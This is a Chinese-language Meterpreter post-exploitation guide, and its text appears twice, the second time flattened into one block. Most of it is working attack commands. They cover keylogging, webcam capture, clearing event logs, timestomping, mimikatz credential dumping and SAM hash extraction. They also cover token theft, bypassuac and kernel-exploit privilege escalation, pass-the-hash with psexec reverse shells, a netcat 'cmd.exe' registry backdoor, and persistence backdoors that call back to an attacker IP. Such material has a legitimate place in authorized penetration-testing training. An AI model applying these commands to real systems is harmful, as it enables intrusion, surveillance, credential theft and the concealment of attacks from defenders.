后渗透之meterpreter使用攻略
字数 5908 2025-08-29 08:32:24

Meterpreter 后渗透使用完全指南

0x00 简介

Meterpreter 是 Metasploit 框架中的一个高级、动态可扩展的 payload,在后渗透阶段具有强大的攻击力。它运行在内存中,通过 stager 方式建立连接,提供了一套丰富的命令集用于系统操作、信息收集、权限提升等后渗透任务。

0x01 系统命令

基本系统命令

  • sessions:查看会话
    • sessions -h 查看帮助
    • sessions -i <ID值> 进入会话
    • sessions -k 杀死会话
  • background:将当前会话放置后台
  • run:执行已有的模块,输入 run 后按两下 tab 列出已有脚本
  • info:查看已有模块信息
  • getuid:查看当前权限
  • getpid:获取当前进程的 PID
  • sysinfo:查看目标系统信息
  • ps:查看当前活跃进程
  • kill <PID值>:杀死指定进程
  • idletime:查看目标机闲置时间
  • reboot/shutdown:重启/关机
  • shell:进入目标机 cmd shell

uictl 开关键盘/鼠标

  • uictl [enable/disable] [keyboard/mouse/all]:开启或禁止键盘/鼠标
    • uictl disable mouse:禁用鼠标
    • uictl disable keyboard:禁用键盘

webcam 摄像头命令

  • webcam_list:查看摄像头
  • webcam_snap:通过摄像头拍照
  • webcam_stream:通过摄像头开启视频

execute 执行文件

  • execute:在目标机中执行文件
    • execute -H -i -f cmd.exe:创建新进程 cmd.exe,-H 不可见,-i 交互

migrate 进程迁移

  1. getpid:获取当前进程的 PID
  2. ps:查看当前活跃进程
  3. migrate <pid值>:将 Meterpreter 会话移植到指定 PID 值进程中
  4. kill <pid值>:杀死进程

clearav 清除日志

  • clearav:清除 Windows 中的应用程序日志、系统日志、安全日志

0x02 文件系统命令

基本文件系统命令

  • getwdpwd:查看当前工作目录
  • ls:列出文件
  • cd:切换目录
  • search -f *pass*:搜索文件(-h 查看帮助)
  • cat c:\\lltest\\lltestpasswd.txt:查看文件内容
  • upload /tmp/hack.txt C:\\lltest:上传文件到目标机
  • download c:\\lltest\\lltestpasswd.txt /tmp/:下载文件到本机
  • edit c:\\1.txt:编辑或创建文件(不存在则新建)
  • rm C:\\lltest\\hack.txt:删除文件
  • mkdir lltest2:在当前目录下创建文件夹
  • rmdir lltest2:删除当前目录下文件夹
  • getlwdlpwd:查看攻击者主机当前目录
  • lcd /tmp:切换攻击者主机目录

timestomp 伪造时间戳

  • timestomp C:// -h:查看帮助
  • timestomp -v C://2.txt:查看时间戳
  • timestomp C://2.txt -f C://1.txt:将 1.txt 的时间戳复制给 2.txt

0x03 网络命令

基本网络命令

  • ipconfig/ifconfig:查看网络配置
  • netstat –ano:查看网络连接
  • arp:查看 ARP 表
  • getproxy:查看代理信息
  • route:查看路由表

portfwd 端口转发

  • portfwd add -l 6666 -p 3389 -r 127.0.0.1:将目标机的 3389 端口转发到本地 6666 端口

autoroute 添加路由

  1. run autoroute –h:查看帮助
  2. run autoroute -s 192.168.159.0/24:添加到目标环境网络
  3. run autoroute –p:查看添加的路由

然后可以利用 arp_scanner、portscan 等进行扫描:

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

Socks4a 代理

  1. autoroute 添加完路由后,利用 msf 自带的 sock4a 模块:
    msf> use auxiliary/server/socks4a
    msf> set srvhost 127.0.0.1
    msf> set srvport 1080
    msf> run
    
  2. 编辑 /etc/proxychains.conf,添加:
    socks4 127.0.0.1 1080
    
  3. 使用 proxychains 通过 Socks4a 代理访问

0x04 信息收集

信息收集脚本位于:

  • /usr/share/metasploit-framework/modules/post/windows/gather/
  • /usr/share/metasploit-framework/modules/post/linux/gather/

常用信息收集脚本:

  • run post/windows/gather/checkvm:检测是否虚拟机
  • run post/linux/gather/checkvm:检测是否虚拟机
  • run post/windows/gather/forensics/enum_drives:查看分区
  • run post/windows/gather/enum_applications:获取安装软件信息
  • run post/windows/gather/dumplinks:获取最近的文件操作
  • run post/windows/gather/enum_ie:获取 IE 缓存
  • run post/windows/gather/enum_chrome:获取 Chrome 缓存
  • run post/windows/gather/enum_patches:获取补丁信息
  • run post/windows/gather/enum_domain:查找域控

0x05 提权

1. getsystem 提权

  • getsystem:尝试提升到 SYSTEM 权限

工作原理:

  1. 创建一个新的 Windows 服务,设置为 SYSTEM 运行,启动时连接到命名管道
  2. 产生一个进程创建命名管道并等待服务连接
  3. Windows 服务启动,建立与命名管道的连接
  4. 进程接收连接并调用 ImpersonateNamedPipeClient,为 SYSTEM 用户创建模拟令牌
  5. 用 SYSTEM 模拟令牌产生 cmd.exe,获得 SYSTEM 特权进程

2. bypassuac

内置多个 bypassuac 脚本,原理不同但使用方法类似:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

示例:

msf> use exploit/windows/local/bypassuac
msf> set SESSION 2
msf> run

运行后返回新会话,需再次执行 getsystem 获取系统权限

3. 内核漏洞提权

  1. 先用 enum_patches 收集补丁信息:
    meterpreter> run post/windows/gather/enum_patches
    
  2. 查找可用 exploits 进行提权:
    msf> use exploit/windows/local/ms13_053_schlamperei
    msf> set SESSION 2
    msf> exploit
    

0x06 mimikatz 抓取密码

  • load mimikatz:加载 mimikatz(help mimikatz 查看帮助)
  • wdigest:获取 Wdigest 密码
  • mimikatz_command -f samdump::hashes:执行 mimikatz 原始命令
  • mimikatz_command -f sekurlsa::searchPasswords:搜索密码

0x07 远程桌面&截屏

  • enumdesktops:查看可用桌面
  • getdesktop:获取当前关联的桌面
  • set_desktop:设置关联的桌面(-h 查看帮助)
  • screenshot:截屏
  • use espia:使用 espia 模块截屏(输入 screengrab
  • run vnc:使用 VNC 远程桌面连接

0x08 开启 RDP & 添加用户

1. getgui 命令

  • run getgui –h:查看帮助
  • run getgui -e:开启远程桌面
  • run getgui -u lltest2 -p 123456:添加用户
  • run getgui -f 6661 –e:3389 端口转发到 6661

注意:getgui 添加用户有时可能没有远程桌面登录权限

2. enable_rdp 脚本

  • run post/windows/manage/enable_rdp:开启远程桌面
  • run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456:添加用户
  • run post/windows/manage/enable_rdp FORWARD=true LPORT=6662:将 3389 端口转发到 6662

实现原理:

  • 开启 RDP:通过 reg 修改注册表
  • 添加用户:调用 cmd.exe 通过 net user 添加
  • 端口转发:利用 portfwd 命令

0x09 键盘记录

  1. keyscan_start:开始键盘记录
  2. keyscan_dump:导出记录数据
  3. keyscan_stop:结束键盘记录

0x10 sniffer 抓包

  1. use sniffer
  2. sniffer_interfaces:查看网卡
  3. sniffer_start 2:选择网卡开始抓包
  4. sniffer_stats 2:查看状态
  5. sniffer_dump 2 /tmp/lltest.pcap:导出 pcap 数据包
  6. sniffer_stop 2:停止抓包

0x11 注册表操作

基本命令

  • reg –h:查看帮助
    • -d:注册表中值的数据
    • -k:注册表键路径
    • -v:注册表键名称
  • enumkey:枚举可获得的键
  • setval:设置键值
  • queryval:查询键值数据

注册表设置 nc 后门

  1. upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32:上传 nc
  2. reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run:枚举 run 下的 key
  3. reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe':设置键值
  4. reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc:查看键值
  5. nc -v 192.168.159.144 443:攻击者连接 nc 后门

0x12 令牌操纵

1. incognito 假冒令牌

  • use incognito:加载模块(help incognito 查看帮助)
  • list_tokens -u:查看可用 token
  • impersonate_token 'NT AUTHORITY\SYSTEM':假冒 SYSTEM token
    • impersonate_token NT\ AUTHORITY\\SYSTEM(不加单引号需使用\)
  • execute -f cmd.exe -i –t:使用假冒的 token 执行(-t 参数)
    • 或直接 shell
  • rev2self:返回原始 token

2. steal_token 窃取令牌

  • steal_token <pid值>:从指定进程中窃取 token(先 ps 查看进程)
  • drop_token:删除窃取的 token

0x13 哈希利用

1. 获取哈希

  • run post/windows/gather/smart_hashdump:从 SAM 导出密码哈希(需要 SYSTEM 权限)

2. PSExec 哈希传递

通过 smart_hashdump 获取用户哈希后,利用 psexec 模块进行哈希传递攻击

前提条件:

  1. 目标开启 445 端口 SMB 服务
  2. 开启 admin$ 共享

示例:

msf> use exploit/windows/smb/psexec
msf> set payload windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.159.134
msf> set LPORT 443
msf> set RHOST 192.168.159.144
msf> set SMBUser Administrator
msf> set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf> set SMBDomain WORKGROUP  # 域用户需要设置 SMBDomain
msf> exploit

0x14 后门植入

Metasploit 自带两种后门启动方式:

  1. 通过启动项启动(persistence)
  2. 通过服务启动(metsvc)
  3. 还可通过 persistence_exe 自定义后门文件

1. persistence 启动项后门

C:\Users***\AppData\Local\Temp\ 上传 vbs 脚本,在注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 加入开机启动项

  • run persistence –h:查看帮助
  • run persistence -X -i 5 -p 6661 -r 192.168.159.134
    • -X:开机自启动
    • -i:反向连接间隔(5秒)
    • -r:攻击者 IP

连接后门:

msf> use exploit/multi/handler
msf> set payload windows/meterpreter/reverse_tcp
msf> set LHOST 192.168.159.134
msf> set LPORT 6661
msf> exploit

2. metsvc 服务后门

C:\Users***\AppData\Local\Temp\ 上传三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为 meterpreter

  • run metsvc –h:查看帮助
  • run metsvc –A:自动安装后门

连接后门:

msf> use exploit/multi/handler
msf> set payload windows/metsvc_bind_tcp
msf> set RHOST 192.168.159.144
msf> set LPORT 31337
msf> exploit

0x15 扫描脚本

扫描脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/

常用扫描脚本示例:

use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login

参考资源

Meterpreter 后渗透使用完全指南 0x00 简介 Meterpreter 是 Metasploit 框架中的一个高级、动态可扩展的 payload,在后渗透阶段具有强大的攻击力。它运行在内存中,通过 stager 方式建立连接,提供了一套丰富的命令集用于系统操作、信息收集、权限提升等后渗透任务。 0x01 系统命令 基本系统命令 sessions :查看会话 sessions -h 查看帮助 sessions -i <ID值> 进入会话 sessions -k 杀死会话 background :将当前会话放置后台 run :执行已有的模块,输入 run 后按两下 tab 列出已有脚本 info :查看已有模块信息 getuid :查看当前权限 getpid :获取当前进程的 PID sysinfo :查看目标系统信息 ps :查看当前活跃进程 kill <PID值> :杀死指定进程 idletime :查看目标机闲置时间 reboot / shutdown :重启/关机 shell :进入目标机 cmd shell uictl 开关键盘/鼠标 uictl [enable/disable] [keyboard/mouse/all] :开启或禁止键盘/鼠标 uictl disable mouse :禁用鼠标 uictl disable keyboard :禁用键盘 webcam 摄像头命令 webcam_list :查看摄像头 webcam_snap :通过摄像头拍照 webcam_stream :通过摄像头开启视频 execute 执行文件 execute :在目标机中执行文件 execute -H -i -f cmd.exe :创建新进程 cmd.exe,-H 不可见,-i 交互 migrate 进程迁移 getpid :获取当前进程的 PID ps :查看当前活跃进程 migrate <pid值> :将 Meterpreter 会话移植到指定 PID 值进程中 kill <pid值> :杀死进程 clearav 清除日志 clearav :清除 Windows 中的应用程序日志、系统日志、安全日志 0x02 文件系统命令 基本文件系统命令 getwd 或 pwd :查看当前工作目录 ls :列出文件 cd :切换目录 search -f *pass* :搜索文件(-h 查看帮助) cat c:\\lltest\\lltestpasswd.txt :查看文件内容 upload /tmp/hack.txt C:\\lltest :上传文件到目标机 download c:\\lltest\\lltestpasswd.txt /tmp/ :下载文件到本机 edit c:\\1.txt :编辑或创建文件(不存在则新建) rm C:\\lltest\\hack.txt :删除文件 mkdir lltest2 :在当前目录下创建文件夹 rmdir lltest2 :删除当前目录下文件夹 getlwd 或 lpwd :查看攻击者主机当前目录 lcd /tmp :切换攻击者主机目录 timestomp 伪造时间戳 timestomp C:// -h :查看帮助 timestomp -v C://2.txt :查看时间戳 timestomp C://2.txt -f C://1.txt :将 1.txt 的时间戳复制给 2.txt 0x03 网络命令 基本网络命令 ipconfig / ifconfig :查看网络配置 netstat –ano :查看网络连接 arp :查看 ARP 表 getproxy :查看代理信息 route :查看路由表 portfwd 端口转发 portfwd add -l 6666 -p 3389 -r 127.0.0.1 :将目标机的 3389 端口转发到本地 6666 端口 autoroute 添加路由 run autoroute –h :查看帮助 run autoroute -s 192.168.159.0/24 :添加到目标环境网络 run autoroute –p :查看添加的路由 然后可以利用 arp_ scanner、portscan 等进行扫描: Socks4a 代理 autoroute 添加完路由后,利用 msf 自带的 sock4a 模块: 编辑 /etc/proxychains.conf ,添加: 使用 proxychains 通过 Socks4a 代理访问 0x04 信息收集 信息收集脚本位于: /usr/share/metasploit-framework/modules/post/windows/gather/ /usr/share/metasploit-framework/modules/post/linux/gather/ 常用信息收集脚本: run post/windows/gather/checkvm :检测是否虚拟机 run post/linux/gather/checkvm :检测是否虚拟机 run post/windows/gather/forensics/enum_drives :查看分区 run post/windows/gather/enum_applications :获取安装软件信息 run post/windows/gather/dumplinks :获取最近的文件操作 run post/windows/gather/enum_ie :获取 IE 缓存 run post/windows/gather/enum_chrome :获取 Chrome 缓存 run post/windows/gather/enum_patches :获取补丁信息 run post/windows/gather/enum_domain :查找域控 0x05 提权 1. getsystem 提权 getsystem :尝试提升到 SYSTEM 权限 工作原理: 创建一个新的 Windows 服务,设置为 SYSTEM 运行,启动时连接到命名管道 产生一个进程创建命名管道并等待服务连接 Windows 服务启动,建立与命名管道的连接 进程接收连接并调用 ImpersonateNamedPipeClient,为 SYSTEM 用户创建模拟令牌 用 SYSTEM 模拟令牌产生 cmd.exe,获得 SYSTEM 特权进程 2. bypassuac 内置多个 bypassuac 脚本,原理不同但使用方法类似: 示例: 运行后返回新会话,需再次执行 getsystem 获取系统权限 3. 内核漏洞提权 先用 enum_ patches 收集补丁信息: 查找可用 exploits 进行提权: 0x06 mimikatz 抓取密码 load mimikatz :加载 mimikatz( help mimikatz 查看帮助) wdigest :获取 Wdigest 密码 mimikatz_command -f samdump::hashes :执行 mimikatz 原始命令 mimikatz_command -f sekurlsa::searchPasswords :搜索密码 0x07 远程桌面&截屏 enumdesktops :查看可用桌面 getdesktop :获取当前关联的桌面 set_desktop :设置关联的桌面(-h 查看帮助) screenshot :截屏 use espia :使用 espia 模块截屏(输入 screengrab ) run vnc :使用 VNC 远程桌面连接 0x08 开启 RDP & 添加用户 1. getgui 命令 run getgui –h :查看帮助 run getgui -e :开启远程桌面 run getgui -u lltest2 -p 123456 :添加用户 run getgui -f 6661 –e :3389 端口转发到 6661 注意:getgui 添加用户有时可能没有远程桌面登录权限 2. enable_ rdp 脚本 run post/windows/manage/enable_rdp :开启远程桌面 run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 :添加用户 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 :将 3389 端口转发到 6662 实现原理: 开启 RDP:通过 reg 修改注册表 添加用户:调用 cmd.exe 通过 net user 添加 端口转发:利用 portfwd 命令 0x09 键盘记录 keyscan_start :开始键盘记录 keyscan_dump :导出记录数据 keyscan_stop :结束键盘记录 0x10 sniffer 抓包 use sniffer sniffer_interfaces :查看网卡 sniffer_start 2 :选择网卡开始抓包 sniffer_stats 2 :查看状态 sniffer_dump 2 /tmp/lltest.pcap :导出 pcap 数据包 sniffer_stop 2 :停止抓包 0x11 注册表操作 基本命令 reg –h :查看帮助 -d :注册表中值的数据 -k :注册表键路径 -v :注册表键名称 enumkey :枚举可获得的键 setval :设置键值 queryval :查询键值数据 注册表设置 nc 后门 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 :上传 nc reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run :枚举 run 下的 key reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' :设置键值 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc :查看键值 nc -v 192.168.159.144 443 :攻击者连接 nc 后门 0x12 令牌操纵 1. incognito 假冒令牌 use incognito :加载模块( help incognito 查看帮助) list_tokens -u :查看可用 token impersonate_token 'NT AUTHORITY\SYSTEM' :假冒 SYSTEM token 或 impersonate_token NT\ AUTHORITY\\SYSTEM (不加单引号需使用\\) execute -f cmd.exe -i –t :使用假冒的 token 执行(-t 参数) 或直接 shell rev2self :返回原始 token 2. steal_ token 窃取令牌 steal_token <pid值> :从指定进程中窃取 token(先 ps 查看进程) drop_token :删除窃取的 token 0x13 哈希利用 1. 获取哈希 run post/windows/gather/smart_hashdump :从 SAM 导出密码哈希(需要 SYSTEM 权限) 2. PSExec 哈希传递 通过 smart_ hashdump 获取用户哈希后,利用 psexec 模块进行哈希传递攻击 前提条件: 目标开启 445 端口 SMB 服务 开启 admin$ 共享 示例: 0x14 后门植入 Metasploit 自带两种后门启动方式: 通过启动项启动(persistence) 通过服务启动(metsvc) 还可通过 persistence_ exe 自定义后门文件 1. persistence 启动项后门 在 C:\Users***\AppData\Local\Temp\ 上传 vbs 脚本,在注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 加入开机启动项 run persistence –h :查看帮助 run persistence -X -i 5 -p 6661 -r 192.168.159.134 : -X :开机自启动 -i :反向连接间隔(5秒) -r :攻击者 IP 连接后门: 2. metsvc 服务后门 在 C:\Users***\AppData\Local\Temp\ 上传三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为 meterpreter run metsvc –h :查看帮助 run metsvc –A :自动安装后门 连接后门: 0x15 扫描脚本 扫描脚本位于: /usr/share/metasploit-framework/modules/auxiliary/scanner/ 常用扫描脚本示例: 参考资源 Null Byte - Meterpreter Command Cheat Sheet Offensive Security - Fun with Incognito Offensive Security - Persistent Netcat Backdoor Offensive Security - Privilege Escalation Hacking Articles - 7 Ways to Privilege Escalation Offensive Security - PSExec Pass the Hash